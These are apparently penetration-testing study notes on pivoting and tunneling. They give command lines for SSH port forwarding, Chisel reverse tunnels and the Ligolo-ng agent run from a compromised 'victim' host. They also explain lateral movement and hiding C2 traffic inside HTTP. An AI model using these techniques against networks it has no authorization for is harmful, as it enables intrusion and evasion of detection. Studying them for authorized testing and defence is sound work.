10 - Pivoting, Tunneling & Port Forwarding

With SSH

terminal
$ ssh daniel@10.10.10.102 -L 8082:127.0.0.1:8082

Port Fwd Chisel

Set up the server.
terminal
$ ./chisel server -p 9999 --reverse
Victim.
terminal
$ ./chisel.exe client <TU_IP_ARCH>:<PUERTO_SERVER> R:<TU_PUERTO>:127.0.0.1:<PUERTO_VICTIMA>​$ ./chisel-Ryxtsewn client 192.168.45.223:9999 R:8000:127.0.0.1:8000
Afterward, on our localhost, we can access the port connected to the victim's port.

Check Ligolo

terminal
ligolo-ng
terminal
sudo ip tuntap add user alex mode tun ligolosudo ip link set ligolo up
On Our Server.
terminal
$ ./proxy -selfcert​sudo ip route add 192.168.0.0/24 dev ligolo
Victim.
terminal
$ ./agent -connect <ip>:11601 -ignore-cert
terminal
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
Pivoting
  • Used to cross network boundaries through a compromised host.
  • Example: Compromise a machine with multiple network interfaces (dual-homed) to move between separate networks.
Lateral Movement
  • Movement within the same network segment to compromise more hosts.
  • Example: Using local administrator credentials to access other machines on the network.
Tunneling
  • Encapsulate network traffic in another protocol to hide malicious activities.
  • Example: Use HTTP/HTTPS to disguise C2 (Command & Control) traffic.

Key Differences

  • Technique: Objective — Practical Example
  • Pivoting: Move deeper into the network by crossing physical or virtual boundaries. — Use a dual-homed machine to access separate networks.
  • Lateral Movement: Spread within the same network segment, compromising more hosts or services. — Use local administrator credentials to compromise other computers.
  • Tunneling: Hide malicious traffic by encapsulating it in legitimate protocols to avoid detection. — Encapsulate commands in HTTP/HTTPS requests to control compromised hosts.

Networking Fundamentals Behind Pivoting

IP Addresses and NICs:
  • Every device on a network needs an IP address, assigned to a network interface controller (NIC).
  • IP Types:
  • Public: Routable on the Internet (such as 134.122.100.200).
  • Private: Routable only within internal networks (such as 10.106.0.172).
  • Tools:
  • Linux/macOS: ifconfig or ip addr.
  • Windows: ipconfig.
Routing Tables:
  • Dictate how a system sends packets based on their destination.
  • They can include static, dynamic (protocols such as OSPF/BGP), or directly connected routes.
  • Commands:
  • Linux: netstat -r or ip route.
  • Windows: route print.
Protocols, Services, and Ports:
  • Protocols define how applications communicate.
  • Ports:
  • Identify specific services on a machine (e.g., HTTP → port 80).
  • Open ports indicate applications listening for incoming connections.

Identifying Pivoting Opportunities

  • Multiple NICs (eth0, eth1, ….):
  • Devices with multiple interfaces (e.g., eth0, eth1) can connect different networks.
  • It is important to review assigned IP addresses and accessible ranges.
  • Routing Tables:
  • Analyze which routes are configured and which networks are reachable.
  • Identify missing routes to configure pivots.
  • Services and Protocols:
  • Identify services that can be exploited to move laterally or pivot.
  • Example: Use an accessible port 80 to smuggle commands disguised as legitimate traffic.

In This Module

Discovering Hosts on the Network